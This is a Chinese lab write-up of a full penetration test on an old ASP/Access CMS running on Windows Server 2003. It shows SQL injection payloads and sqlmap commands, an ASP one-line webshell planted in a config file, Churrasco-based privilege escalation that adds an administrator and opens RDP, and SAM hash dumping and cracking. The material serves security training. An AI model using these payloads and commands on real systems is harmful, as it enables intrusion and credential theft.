0x00 前言
本实验是一次非常深入彻底的模拟渗透,虽然只针对一台服务器,但却经历了从最初的获取网站管理员账号密码,到获得网站的 webshell,最后到通过提权获得服务器系统最高权限的完整渗透过程。
从实验手册上给出的工具提示也能看出,本次渗透会用到目录扫描工具、注入工具、getshell 工具、提权工具等,可谓干货满满。若各位能亲自动手尝试所有能用到的工具,把整个渗透流程实现一遍,所有知识点都想明白,对初学者而言绝对有丰富的收获与极大的提升。
先简单介绍一下靶机环境:主站为魅力企业网站管理系统 ,采用 ASP 后端脚本语言,以及 Microsoft Office Access 数据库,该 CMS 年久失修,遍地漏洞,连官网也消失殆尽,不过还是能从各大软件平台下载到源码;服务器系统为 Windows Server 2003 Enterprise Edition ,如果没打好补丁,此系统也是千疮百孔。总结一下,即典型的 Windows + IIS + ASP + Access 网站服务器出装。
题目链接:https://www.ichunqiu.com/battalion?t=2&r=54399
解题链接:https://www.ichunqiu.com/vm/114/1
特此声明:由于本实验题目中包含 2 道选择题,因此不再沿用先前以题目名称作为章节标题的做法,而按照渗透流程的重要步骤来命名。
0x01 简单聊聊 WVS
首先来看看第 1 道选择题:「WVS是什么工具?」,感觉问的很突兀,因为在本次渗透中 WVS 不是必要工具,也没有带来实质性的帮助,如果是我打开方式不对,还请指出。
AWVS(Acunetix Web Vulnarability Scanner) ,简称 WVS,是国外安全公司 Acunetix 的主打产品,一款自动化 Web 应用程序安全测试工具,用于快速扫描 Web 应用常见漏洞、爬取网站目录结构、提供多种实用工具等。虽然这是一款需要付费的商业软件,但在国内还是可以找到破解版的。
既然环境里提供了 WVS 工具,省去了我们下载安装的麻烦,那事不宜迟,先来体验一番。打开实验工具箱,在【目录扫描】文件夹中打开【AWVS】,即可看见我们的工具了:
本节只演示 WVS 网站扫描的主要功能,包括目录扫描与漏洞扫描,其他功能请读者查看教程自行操作。点击 New Scan ,在 Scan Type 栏的 Website URL 中填入目标站点 http://www.test.ichunqiu/
,一直默认点击 Next 到最后的 Finish 栏,把 CASE insensitive crawling 前的钩去掉(因为服务器系统是 Windows,所有不需要大小写敏感,而 Linux 系统则需要),点击 Finish 完成。
等待一段时间,扫描完毕后,在界面中看到目录扫描与漏洞扫描的结果:
不过可惜的是,后台登录页面都没被抓取出来,所以前面我才说没有提供实质性的帮助,此处权当 WVS 工具的使用练习。回到题目,有如下 4 个选项,从 WVS 的全称不难看出,把它作为 漏洞扫描工具 更为合适:
注入工具
漏洞扫描工具
目录扫描工具
暴力破解工具
0x02 SQL 注入获取管理员账号密码
聊完了 WVS,下面随着第 2 题「管理员的密码是什么?」正式进入渗透流程。首当其冲必然是魅力企业网站管理系统,不过网上有关该系统的漏洞报告很少,难以找到有效资料。此时不要着急,先回想一下前面几次渗透实验,获取管理员账号密码的方法不外乎敏感信息泄露、SQL 报错注入返回敏感信息、自动化注入工具直接读取数据库 等,因此思路很明确:寻找网页中存在的注入点 。
SQL 注入点的类型
在寻找 SQL 注入点之前,先科普一下注入点的类型。根据注入点输入数据的类型,可分为数字型注入与字符型注入,下面分别讲解这两种 SQL 注入的特点与区别。
小贴士:SQL 语句的单行注释一般有 --
与 #
,在验证 SQL 注入点时,要习惯性地在查询语句末尾加上注释符,并且注释符后最好加上一个空格,避免代码中后续 SQL 语句的干扰。
数字型 SQL 注入
当注入点的输入参数为数字时,则称之为数字型 SQL 注入,例如 id
、age
、order
、page
等参数。下面以主站中输入参数为数字型的页面 http://www.test.ichunqiu/shownews.asp?id=1
为例进行讲解。注意,在本次渗透环境中的 Access 数据库,只支持 #
注释符,读者可自行验证。
要判断 ID=1
是否为数字型 SQL 注入点,一般通过以下三步:
(1)http://www.test.ichunqiu/shownews.asp?id=1'#
由于数字参数在后台 SQL 语句中不需要引号闭合,如果在数字后插入一个英文单引号 '
,会导致 SQL 语句闭合错误,页面出现异常。
(2)http://www.test.ichunqiu/shownews.asp?id=1 AND 1=1#
SQL 语句中限制条件为 WHERE id=1 AND 1=1#
,相当于 WHERE id=1#
,此时页面应该显示正常,与原请求无任何差异。
(3)http://www.test.ichunqiu/shownews.asp?id=1 AND 1=2#
SQL 语句中限制条件为 WHERE id=1 AND 1=2#
,相当于 WHERE 1=2#
,即限定条件恒为假,此时页面应该显示异常,查询不出任何内容。
因此,经过以上三个步骤,即可判断 http://www.test.ichunqiu/shownews.asp?id=1
存在数字型 SQL 注入。
字符型 SQL 注入
当注入点的输入参数为字符串时,则称之为数字型 SQL 注入,例如 username
、password
、title
、class
等参数。下面以主站中输入参数为字符型的页面 http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9
为例进行讲解。
字符型与数字型 SQL 注入最大区别在于:数字型不需要引号闭合,而字符型需要 。可见,字符型 SQL 注入最关键的是如何闭合 SQL 语句,代码中的 SQL 语句一般采用单引号,但也别忘了双引号的可能。
要判断 Title=%B9%AB%CB%BE%BC%F2%BD%E9
是否为字符型 SQL 注入点,一般通过以下两步:
(1)http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND 1=1#
此时页面应该显示正常,但在测试中却出现异常,无法显示。
(2)http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND 1=2#
此时页面应该显示异常,而测试的异常结果也与(1)中情况类似。
因此,经过以上两个步骤,即可判断 http://www.test.ichunqiu/Aboutus.asp?Title=%B9%AB%CB%BE%BC%F2%BD%E9
不存在字符型 SQL 注入。
至于不存在字符型 SQL 注入的原因,我们可以深入地分析一下。当 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1
或 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1#
时,页面是能够正常显示的,但 Title=%B9%AB%CB%BE%BC%F2%BD%E9' AND '1'='1'#
却不行,所以注释符 #
此处被过滤了。
小结一下以上手工查找 SQL 注入点的过程:
是否能用注释符屏蔽后续 SQL 语句的干扰,是 SQL 注入点可用性的重要因素。
对于字符型 SQL 注入,还要注意引号的闭合。
上述网站中,数字型 SQL 注入没有过滤注释符 #
,而字符型过滤了。
最后粗略地统计网站中可用的数字型 SQL 注入点:
http://www.test.ichunqiu/shownews.asp?id=1
http://www.test.ichunqiu/ProductShow.asp?ID=9
http://www.test.ichunqiu/DownloadShow.asp?ID=9
http://www.test.ichunqiu/CompHonorBig.asp?id=11
http://www.test.ichunqiu/CompVisualizeBig.asp?id=10
SQL 自动化注入
既然知道了注入点,下面正式开始通过注入来获取管理员账号密码。一般而言,使用 SQL 自动化注入工具是读取数据库信息最高效的方法,极少数特别的注入点需要临时定制 payload 进行手工注入,因此熟悉多种注入工具是一名合格渗透工程师的基本要求。
国内外的 SQL 自动化注入工具种类繁多,下面将以明小子(Domian)、穿山甲(Pangolin)、SQLMap 等工具为例进行演示。以上工具均在实验工具箱中的【注入工具】文件夹下。
小贴士:一般的 SQL 自动化注入工具都带有判断注入点的功能,如果无法确定某参数是否存在注入,使用多款工具可以帮助你有效判断。
明小子(Domian)
明小子(Domian) 是国内的一款 Web 应用程序综合渗透工具,有可视化图形界面,简单易用,在国内安全圈极负盛名。
打开工具,依次点击 SQL注入 -> 批量扫描注入点 -> 添加网址 ,填入主站 URL http://www.test/ichunqiu/
,保存后点击 批量分析注入点 :
分析完毕后,右击其中一个注入点,点击 检测注入 :
点击后会自动跳转至 SQL注入猜解检测 选项卡,不过这里不用检测出来的注入点,用我们手工发现的注入点,一来换换口味,二来获得点成就感,三来顺便验证手工发现的注入点是否可靠。下面将 注入点 改为 http://www.test.ichunqiu/shownews.asp?id=1
,点击 开始检测 ,结果确实为一个可用注入点:
确认可注入后,点击 猜解表名 后得到 4 张表,接着选中 admin
表,点击 猜解列名 后得到 3 个列名,在所有列名前打上钩,点解 猜解内容 后即可得到管理员的账号为 admin
,16 位的密码哈希值为 469e80d32c0559f8
。至此,通过明小子工具成功地获取了管理员的账号密码。
穿山甲(Pangolin)
穿山甲(Pangolin) 是深圳宇造诺赛科技有限公司(Nosec)多年前开发的一款 SQL 注入测试工具,如今时过境迁,官方网址不再提供工具的相关信息,而成为了北京白帽汇科技有限公司旗下的一款名为 NOSEC 的大数据安全协作平台。尽管穿山甲工具已停止开发维护,但对付传统数据库依然绰绰有余。
打开工具,在 URL 处填入注入点 http://www.test.ichunqiu/shownews.asp?id=1
(注意:该工具不提供注入点扫描,只判断输入参数是否能作为注入点),点击 开始 箭头后,得到以下结果,说明注入点有效:
切换到 Datas 选项卡,点击 Tables 后得到 4 张表,接着选中 admin
表(注意不是打钩),点击 Columns 后得到 4 个列名,此时才在 admin
前打钩,选中所有列,点击 Datas 后即可获得管理员账号密码。可见,穿山甲工具的使用流程与明小子非常类似。
SQLMap
SQLMap 是一款专注于自动化 SQL 注入检测的开源渗透工具,用 Python 脚本语言编写,能在装有 Python 2.6.x 与 Python 2.7.x 的系统上跨平台运行,支持对数十种常见数据库的检测,被誉为 SQL 注入领域的一大渗透神器。
由于 SQLMap 只支持命令行界面,其易用性不如前两者,但丝毫不影响其渗透威力,反而还拥有更高的检测效率与更广的检测范围。SQLMap 作为渗透工程师常用且必备的工具,应当重点掌握。下面将列出渗透过程中常用的命令及用法,建议同时参考官方文档。
(1)python sqlmap.py -h
:查询帮助手册。 (2)python sqlmap.py -u
:检测该 URL 是否存在注入(末尾记得写上查询参数)。 (3)python sqlmap.py -u --dbs
:查询所有数据库名。 (4)python sqlmap.py -u --current-db
:查询当前数据库名。 (5)python sqlmap.py -u -D --tables
:查询某数据库中的所有表名。 (6)python sqlmap.py -u -D -T --columns:查询某数据表中的所有列名。 (7)python sqlmap.py -u -D -T -C --dump:查询某列中的所有数据。
以上是通过 GET 方式来检测注入点,并进行 SQL 注入读取数据库中数据的常规套路。注意一个特例:由于 Microsoft Access 数据库结构特殊,注入时不必通过(3)或(4)来查询数据库名,直接从(5)开始查询表名即可,-D
选项也可省去。
小贴士:为了避免在命令行界面输入中文进入【SQLMap】目录,因此使用前建议将【SQLMap】文件夹拷贝到 C 盘下。
确保了命令行路径在【SQLMap】目录下后,根据(2)输入命令 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1
,若询问「已确认 id
参数可注入,还需检测其他参数?」填 N
,结果显示此为基于布尔的盲注(boolean-based blind) ,并且返回了一些服务器相关信息,如:服务器操作系统为 Windows 2003 或 Windows XP ,Web 应用程序采用了 APS.NET、Microsoft IIS 6.0、ASP 等建站技术,后端数据库数理系统为 Microsoft Access 。以上对服务器相关信息的收集有助于后续更高效精准的渗透。
知道了后端数据库是 Microsoft Access 后,可以跳过(3)或(4)直接进行(5),输入命令 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 --tables
,若询问「需要检测常用表名是否存在?」填 Y
,询问「需要的线程数量?」填最大值 10
。检测将近一半时,按 Ctrl + C
手动终止扫描,得到了包含 admin
表在内的 6 张表。注意:由于 SQLMap 扫描所用的字典范围更广,因此比起前两者能发现更多的数据表。
小贴士:由于扫描花时较长,当看到 admin
表出现时,可按 Ctrl + C
手动停止扫描。
继续执行(6)中的命令,输入 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 -T admin --columns
,若询问「需要检测常用列名是否存在?」填 Y
,询问「需要的线程数量?」填最大值 10
。本次扫描不手动终止,等待其全部扫描完毕,得到了 username
与 password
等 6 个字段。
最后执行(7)中的命令,输入 python sqlmap.py -u http://www.test.ichunqiu/shownews.asp?id=1 -T admin -C username,password --dump
,等待其枚举完毕,若询问「需要临时保存结果的哈希值?」填 N
,询问「需要用字典攻击来破解结果?」填 n
,随即可看到管理员的账号密码等数据。
SQL 手工注入
除了会使用 SQL 自动化注入工具,手工注入也应该是渗透工程师的基本技能之一。下面仍旧针对上述注入点,演示手工注入获取 Access 数据库内容的全过程。详细指导可参考:
asp+access sql手工注入步骤 access手工注入
Step 1:猜解表名
在火狐浏览器打开存在注入点的页面,将 URL 改为 http://www.test.ichunqiu/shownews.asp?id=1 AND EXISTS(SELECT * FROM ),其中 为待猜解的表名,如果表名存在,页面将显示正常,否则出现异常。注意:如果管理员把库名、表名、列名更改得随机复杂,手工注入将变得非常困难。
打开 HackBar 工具,我们对 admin
、user
、news
等常见表名进行猜解,发现均能正常显示:
Step 2:猜解列数
已知 admin
表存在后,接着猜解当前未知表的列数,用于后续的联合查询(UNION SELECT),因为联合查询的必要条件是每个查询的列数需要严格相等 。
猜解列数最便捷的方法是利用 ORDER BY 语句的隐藏用法。一般来说,ORDER BY
代表对
列进行升排序,而 ORDER BY
代表对第
列进行升排序 。容易看出,
的最大取值即为查询数据的列数,因此,当发现 ORDER BY n
显示正常,并且 ORDER BY n+1
出现异常时,可判断当前查询数据的列数为 n。
注意,只有在后端数据库的查询语句为 SELECT * FROM admin
时,当前查询数据的列数 n 才等于数据库 admin
的总列数。 详情可参考:sql注入之order by猜列数问题。
经过反复尝试,可以确定查询数据的列数为 11:
Step 3:找出显位点
下面要构造联合查询 UNION SELECT 1,2,...,n FROM 找出显位点,其中列数为 n,表名为 。
小贴士:查询结果中的某些数据会出现在当前页面,而这些数据对应的列称为显位点 。
经过反复试验,得知该数据库是从查询结果的第 1 列数据开始升排序(若第 1 列相等,则比较第 2 列,以此类推),并且将第 1 行结果的部分数据在页面上展示。因此上述联合查询能有效执行,并发现了显位点为第 2、3、7、8、9 列:
若想完全避免前一次查询结果的影响,可将限制条件 id=1
改为 id=1 AND 1=2
。
Step 4:猜解列名
最后一步,就是用猜想的列名去替换显位点,如果猜想正确,则页面会显示数据内容,否则出现异常。我们对 user
、username
、account
、pwd
、password
、key
、credit
等常见列名进行猜解,终于在 username
、password
两列中读取到管理员的账号密码:
敏感信息泄露
在本节末尾留个小彩蛋,细心的读者可能在上述注入点的页面底部发现了:
对的,你想的没错,管理员的 16 位密码哈希值,用 MD5解密工具 解密后的明文结果正是 admin888
:
0x03 获取后台登录地址
根据实验手册的提示,在实验工具箱的【目录扫描】->【御剑后台扫描工具】文件夹下打开工具,在 域名 处填上主站 URL http://www.test.ichunqiu/
,点击 开始扫描 即可轻松获取后台登录地址 /admin/login.asp
:
上节提到的明小子(Domain)注入工具也带有目录扫描功能,点击 SQL注入 -> 管理入口扫描 选项卡,在 注入点 处填上主站 URL,点击 扫描后台地址 同样能得到后台登录地址:
小贴士:通过这几次渗透实验可发现,大多 CMS 的默认后台登录地址为 /admin
,因此在使用目录扫描工具前可先行尝试。
0x04 配置文件写入木马获取 webshell
第 2 题过后,随之而来的第 3 题又是一道选择题:「通过什么方式获得 webshell?」,这也同时是对接下来渗透的提示。
先用管理员账号 admin
与密码 admin888
登录后台:
根据题目的提示,寻找后台备份文件、文件上传处、内容填写框等能够插入木马的漏洞,但可惜的是,很快能发现备份文件无效、文件上传无反应、大多文本框不能填写 ,看来服务器限制了该账户的写入权限。
只剩下写入配置文件 了,并在 系统设置管理 -> 网站信息配置 发现了配置文件更改处。问题又来了,写入木马的配置文件在哪读取?于是先在外网搜索到 CMS 的源码,在此目录中搜索 conf
等关键字,发现了 4 个目标文件:
经过逐一排查,最终确定其中的 /inc/Config.asp
与网站配置信息相关:
接下来尝试在任意一栏中写入 ASP 版的一句话木马 "%><%Eval Request("cmd")%><%'
。注意:"%>
是为了闭合前段 ASP 代码;cmd
是木马的请求参数;<%'
是为了开启后段 ASP 代码,并用单引号注释该行剩下的代码。 写入木马前,最好把栏中原有的配置信息删除,即可直观地判断是否写入成功。
以 网站标题 一栏为例,写入一句话木马:
写入后点击 保存设置 ,可见写入木马后该栏为空:
然后在工具箱【webshell】目录下拔出中国菜刀,在 添加SHELL 中填入目标 URL 与请求参数后保存:
双击 shell 记录,成功连接网站的文件管理系统:
最后回到题目,根据选项提示,成功验证了能够通过 写入配置文件 获得 webshell:
0x05 上传工具,系统提权
终于到达最后一关:「获取目标服务器密码」,这需要破解操作系统上用户的密码哈希值,倒推一下思路:获得服务器系统最高权限 -> 上传提权工具 -> 寻找上传点 ,赶紧动手开始吧!
怎么确定上传点呢?具有写权限的目录都可以作为上传点,在 C 盘下的每个目录尝试上传,发现 C:\Inetpub
、C:\RECYCLER
、C:\wmpub
三个目录具有写权限,其他目录均写入失败。下面演示以 C:\wmpub
作为上传点。
系统提权将利用 CVE-2009-0079 漏洞,采取 cmd.exe + Churrasco.exe + 3389.bat 的工具组合,其中 cmd.exe 是为了代替原服务器中权限受限的命令行交互环境,Churrasco.exe 是用于提权的漏洞利用工具,3389.bat 是打开 3389 端口及远程桌面服务的批处理脚本文件。
小贴士:CVE-2009-0079 是 Microsoft Windows RPCSS 服务隔离的本地权限提升漏洞,收录于 Microsoft 安全公告 MS09-012,影响 Microsoft Windows Server 2003 SP2 等多个系统版本。
Churrasco.exe 提权
Churrasco.exe ,又称「巴西烤肉」,是 CVE-2009-0079 漏洞的常见利用工具,能够以 SYSTEM 权限执行命令,从而可以达到添加用户的目的。
首先将工具箱【提权工具】->【windows】目录中的三款工具,在菜刀的文件管理页面空白处,右键点击 上传文件 至服务器 C:\wmpub
目录下,接着右击 cmd.exe,选择 虚拟终端 进入到命令行交互界面:
输入 systeminfo
命令,获取服务器系统相关信息,得知系统为 Microsoft Windows Server 2003 Enterprise Edition SP2,且只安装了一个补丁程序,即可猜测该系统存在 CVE-2009-0079 漏洞:
接着切换到 C:\wmpub
目录,输入 churrasco "net user ichunqiu key /add"
命令,添加一个名为 ichunqiu
、密码为 key
的用户:
再输入 churrasco "net localgroup administrators ichunqiu /add"
命令,将 ichunqiu
用户添加到 administrators
用户组:
小贴士:可通过 net user
与 net localgroup administrators
查看命令是否执行成功。
最后输入 churrasco 3389
命令,打开 3389 端口及远程桌面服务:
确认提权成功后,在本机上点击 开始 -> 运行 ,输入 mstsc
,远程计算机地址为 172.16.12.2
(在实验场景拓扑图上可见):
正常的话会弹出远程桌面,输入用户名 ichunqiu
与密码 key
,即可成功登录远程服务器:
pr.exe 提权
pr.exe 也是 CVE-2009-0079 漏洞的提权工具,位于【提权工具】->【windows】目录下,使用方法与 Churrasco.exe 类似。不过注意的是,在第一次执行创建用户命令时,可能会报错,若创建失败,只需再次执行即可:
iis.exe 提权
iis.exe 与前两者不同,是基于 CVE-2009-1535 漏洞的提权工具,位于【提权工具】->【windows】目录下(最好选用 iis6.0-local.exe,因为 iis6.exe 在打开 3389 端口时会出错),使用方法与前两者类似。在第一次创建用户时也可能会报错,若创建失败,再次执行即可:
小贴士:CVE-2009-1535 是 IIS 5.1 和 6.0 中 WebDAV 扩展的身份验证绕过漏洞,收录于 Microsoft 安全公告 MS09-020,影响 Microsoft Windows Server 2003 SP2 中 Internet Information Services 6.0 等多个系统版本。
0x06 获取管理员系统密码
进入到远程主机桌面,此时可以通过 pwdump 工具 获取管理员密码的哈希值,常见的 pwdump 工具有 Pwdump7、QuarksPwDump、Cain & Abel 等,最后将哈希值通过在线解密即可获得密码明文。
小贴士:pwdump 是一类能从 Windows SAM(Security Account Manager) 中读出本地用户 LM(LAN Manager) 与 NTLM(NT LAN Manager) 密码哈希值的工具(注意必须在管理员权限下),其中 LM 与 NTLM 是 Windows 系统下的安全认证协议,并且 NTLM 是 LM 的演进版本,安全性更高。
Pwdump7
Pwdump7 是 Tarasco Security 发布的一款免费软件,能够从 SAM 中快速提取用户密码哈希值,易用性与有效性极佳。
使用之前,将实验工具箱【提权工具】->【hash】->【Pwdump7】文件夹下的 Pwdump7.exe 与 libeay32.dll 两个文件通过菜刀上传至服务器 C:\wmpub
目录,再回到远程主机桌面点击【开始】 -> 【我的电脑】,进入上传点打开 cmd.exe,直接输入 pwdump7
命令即可获得所有用户的密码哈希值,其中 62C4700EBB05958F3832C92FC614B7D1
是 LM 哈希,4D478675344541AACCF6CF33E1DD9D85
是 NTLM 哈希:
QuarksPwDump
QuarksPwDump 是 Quarkslab 发布的一款开源工具,能导出 Windows 下各种类型的用户凭证,它自身有专属的命令交互界面,可输入不同的命令选项获得所需数据。
使用前,同样先将【提权工具】->【hash】->【QuarksPwDump_v0.1】文件夹下的 QuarksPwDump.exe 上传至服务器 C:\wmpub
目录,在远程主机上传点打开 cmd.exe,直接输入 quarkspwdump
命令:
命令成功执行后,进入到 QuarksPwDump.exe 命令交互界面,再输入 quarkspwdump --dump-hash-local
命令:
小贴士:对命令选项熟悉后,可直接在 cmd 命令交互界面中输入 quarkspwdump --dump-hash-local
命令。
界面刷新,并导出本地用户的密码哈希值:
Cain & Abel
Cain & Abel 是 oxid.it 发布的一款综合网络渗透工具,在密码恢复、暴力破解、网络嗅探、路由协议分析等场景有广泛应用。
使用前,先把【arp嗅探】->【Cain】文件夹下的 ca_setup_53494.exe 安装包上传至服务器 C:\wmpub
目录进行安装,并且安装完 Cain & Abel 后,必须同时安装后续的 WinPcap,否则功能缺失出现报错:
小贴士:比起前两款工具,Cain & Abel 使用前需要安装,并且操作步骤相对繁琐,增大了在目标系统留下痕迹的可能,因此建议在满足需求的情况下,尽量选用小巧便捷的工具。
全部安装完毕后点击桌面上的 Cain ,在 Cracker 选项卡下选中 LM & NTLM Hashes ,点击 Add to list(即蓝色加号) ,勾选上 Include Password History Hashes :
点击 Next 后即能获取到所有本地用户的密码哈希值:
Online Hash Crack
在线破解哈希值推荐一个瑞士网站 Objectif Sécurité ,无需注册付费,便捷实用。
在主页点击 OPHCRACK 选项卡,将 NTLM 哈希 4D478675344541AACCF6CF33E1DD9D85
填入第一个文本框,点击 GO 解密后,即得管理员系统密码的明文 cu9e2cgw
:
0x07 小结
本篇 writeup 借此深入彻底的渗透模拟实验,总结了渗透过程中信息收集、SQL 注入、插入木马、获取 webshell、权限提升、获取系统用户密码等用到的数十种工具与分析方法,希望有助于各位读者对渗透测试全过程的理解,在动手实践之后能更熟练地掌握工具。
笔者水平有限,在边学习实践边分析思考的情况下总结出以上心得,不足之处望各位指出,有独特思路的欢迎交流。最后向以下三篇参考 writeup 的作者致以真诚的感谢,前辈们的努力促使了国内安全技术的蓬勃发展!
你可能感兴趣的:(渗透,黑客,数据库,破解,hash,Kali,Linux,Linux)
Linux系统配置(应用程序)
1风天云月
Linux linux 应用程序 编译安装 rpm http
目录前言一、应用程序概述1、命令与程序的关系2、程序的组成3、软件包封装类型二、RPM1、RPM概述2、RPM用法三、编译安装1、解包2、配置3、编译4、安装5、启用httpd服务结语前言在Linux中的应用程序被视为将软件包安装到系统中后产生的各种文档,其中包括可执行文件、配置文件、用户手册等内容,这些文档被组织为一个有机的整体,为用户提供特定的功能,因此对于“安装软件包”与“安装应用程序”这两
Flowable 实战落地核心:选型决策与坑点破解
练习时长两年半的程序员小胡
Flowable 流程引擎实战指南 低代码 BPMN 流程引擎 flowable 后端 java
在企业级流程引擎的落地过程中,选型的准确性和坑点的预见性直接决定项目成败。本文聚焦Flowable实战中最关键的“选型决策”与“常见坑点”,结合真实项目经验,提供可落地的解决方案。一、流程引擎选型:从业务本质出发1.1选型的三大核心维度企业在选择流程引擎时,需避免陷入“技术崇拜”,应回归业务本质。评估Flowable是否适用,可从三个维度判断:业务复杂度若流程涉及动态审批链(如按金额自动升级审批)
什么是缓存雪崩?缓存击穿?缓存穿透?分别如何解决?什么是缓存预热?
daixin8848
缓存 redis java 开发语言
缓存雪崩:在一个时间段内,有大量的key过期,或者Redis服务宕机,导致大量的请求到达数据库,带来巨大压力-给key设置不同的TTL、利用Redis集群提高服务的高可用性、添加多级缓存、添加降级流策略缓存击穿:给某一个key设置了过期时间,当key过期的时间,恰好这个时间点有大量的并发请求访问这个key,可能会瞬间把数据库压垮-互斥锁:缓存失败时,只允许一个请求去加载数据并更新缓存,其他请求阻塞
Aop +反射 实现方法版本动态切换
需求分析在做技术选型的时候一直存在着两个声音,mongo作为数据库比较mysql好,mysql做为该数据比mongo好。当然不同数据库都有有着自己的优势,我们在做技术选型的时候无非就是做到对数据库的扬长避短。mysql最大的优势就是支持事务,事务的五大特性保证的业务可靠性,随之而来的就是事务会产生的问题:脏读、幻读、不可重复度,当然我们也会使用不同的隔离级别来解决。(最典型的业务问题:银行存取钱)
2025年SDK游戏盾终极解析:重新定义手游安全的“隐形护甲”
上海云盾商务经理杨杨
游戏 安全
副标题:从客户端加密到AI反外挂,拆解全链路防护如何重塑游戏攻防天平引言:当传统高防在手游战场“失效”2025年全球手游市场规模突破$2000亿,黑客单次攻击成本却降至$30——某SLG游戏因协议层CC攻击单日流失37%玩家,某开放世界游戏遭低频DDoS瘫痪6小时损失千万。传统高防IP的致命短板暴露无遗:无法识别伪造客户端流量、难防协议篡改、误杀率超15%。而集成于游戏终端的SDK游戏盾,正以“源
md5加密
落地成佛
using(MD5md5=MD5.Create()){byte[]byteHash=md5.ComputeHash(System.Text.Encoding.Default.GetBytes(s));stringstrRes=BitConverter.ToString(byteHash).Replace("-","");returnstrRes.ToUpper();}
包含日志获取webshell
陈望_ning
日志文件关闭:Apache目录下的httpd.conf文件#ErrorLog"logs/error.log"#CustomLog"logs/access.log"common加#号为注释不产生日志文件如果去掉#将会在Apache/logs/目录下产生日志文件linux:access_logerror_logwindows:access.logerror.logaccess_log每一行记录了一次网
Matrix-Breakout 2 Morpheus靶场解题过程
信息收集目标探测靶机目标很明显就是61.139.2.141了扫描开放端口发现22、80、81访问端口主机访问80翻译一下,并没有发现什么审查源代码发现里面有一张图片,下载下来看看是否有图片的隐写wgethttp://61.139.2.141/trinity.jpegstegoveritas-itrinity.jpeg-o/home/kali/Desktop/11分解后发现什么都没有,里面的keep
02-Breakout靶机攻略
ZLlllllll0
02-Breakout靶机
第一步搭建靶机下载地址:https://download.vulnhub.com/empire/02-Breakout.zip下载好了之后直接用VM打开然后右击虚拟机,把网络连接改成nat模式第二步,信息收集然后开启虚拟机,左上角编辑,虚拟网络编辑器里面看一下靶机是哪个网段。打开kali用nmap扫一下的这个网段的存活主机,也就是扫除这个靶机的具体ip地址nmap192.168.109.1/24扫
Android 应用权限管理详解
文章目录1.权限类型2.权限请求机制3.权限组和分级4.权限管理的演进5.权限监控和SELinux强制访问控制6.应用权限审核和GooglePlayProtect7.开发者最佳实践8.用户权限管理9.Android应用沙箱模型10.ScopedStorage(分区存储)11.背景位置权限(BackgroundLocationAccess)12.权限回收和自动清理13.权限请求的用户体验设计14.G
MySQL复习题
一.填空题1.关系数据库的标准语言是SQL。2.数据库发展的3个阶段中,数据独立性最高的是阶段数据库系统。3.概念模型中的3种基本联系分别是一对一、一对多和多对多。4.MySQL配置文件的文件名是my.ini或my.cnf。5.在MySQL配置文件中,datadir用于指定数据库文件的保存目录。6.添加IFNOTEXISTS可在创建的数据库已存在时防止程序报错。7.MySQL提供的SHOWCREA
centos7安装配置 Anaconda3
Anaconda是一个用于科学计算的Python发行版,Anaconda于Python,相当于centos于linux。下载[root@testsrc]#mwgethttps://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/Anaconda3-5.2.0-Linux-x86_64.shBegintodownload:Anaconda3-5.2.0-L
Android GreenDao介绍和Generator生成表对象代码
目录(?)[-]介绍创建工程转载请注明:http://blog.csdn.net/sinat_30276961/article/details/50052109最近无意中发现了GreenDao,然后查看了一些资料后,发现这个数据库框架很适合用,于是乎,查看了官网的api,并自己写了一个小应用总结一下它的使用方法。介绍按照国际惯例,在开篇,总要先介绍一下什么是GreenDao吧。首先需要说明的是Gr
我保证,这款泡泡洁面一定适合你!
豆子_58e0
市面上的洁面有很多种,洗面奶的品种又有很多,比如:普通型、泡沫型、磨砂型等等,其中泡沫洗面奶是很受大家欢迎的一种,主要是因为泡沫洁面配方中的表面活性剂有湿润、渗透和乳化的作用,去除皮肤上污垢,对洁面有非常好的效果。在现有的泡沫丰厚的洁面产品中,主要有两种:1,泡沫洁面:主要是从瓶子里挤出就是泡沫状的,比如一些慕斯洁面。这一类洁面往往主打温和,更适合干皮和敏感皮。混油皮和油皮可能会觉得清洁力度不够。
Mac OSX 下的mysql数据库文件存放位置
Bruuuces
mysql mac osx 位置 存放
之前我的mysql的系统数据库里的表被我玩坏了,万般无奈之下只得删除所有mysql的东西重新构建数据库。按照网上搜到的内容删除后重装发现数据库没有什么变化。于是自己在每个可能存放数据库文件的目录查找,最终确认目录位置如下:使用HomeBrew安装为/usr/local/var/mysql使用官方下载的dmg镜像安装为/usr/local/mysql删除这个目录再重新安装mysql就会重新生成系统数
mac升级mysql_Mac OSX下的MySQL数据库升级
weixin_39801714
mac升级mysql
MacOSX下的数据库升级最麻烦的不过权限的问题.本文的MySQL的安装方式为OSX下DMG磁盘镜像的安装方式,MacPorts/Homebrew的方式大同小异.从5.6.17升级到5.7.18安装目录信息ls-al/usr/local|grepmysqllrwxr-xr-x1rootwheel30B52100:39mysql@->mysql-5.6.17-osx10.7-x86_64drwxr-
每日一省(49)
专气致柔baby
背诵内容:用生气掩盖了无能,用愤怒掩盖了恐惧,用焦虑掩盖了纠结。你向世界释放了什么,你就会收获什么,生命的品质取决于行为的反作用力(如:我爱你,我爱你,我爱你,弹回来也会是我爱你,我爱你,我爱你)这几天一直在体会这段话,学习传统文化的时候,老师们也一直在强调行为的反作用力。从今天开始我要启用改译的力量,感恩纪琼院长给到的心理学生活化的实操流程,感恩各种学习思想的慢慢渗透,让我有了不断学习提高的动力
【MySQL】MySQL数据库如何改名
武昌库里写JAVA
面试题汇总与解析 spring boot vue.js sql java 学习
MySQL建库授权语句https://www.jianshu.com/p/2237a9649ceeMySQL数据库改名的三种方法https://www.cnblogs.com/gomysql/p/3584881.htmlMySQL安全修改数据库名几种方法https://blog.csdn.net/haiross/article/details/51282417MySQL重命名数据库https://
HikariCP调试日志深度解析:生产环境故障排查完全指南
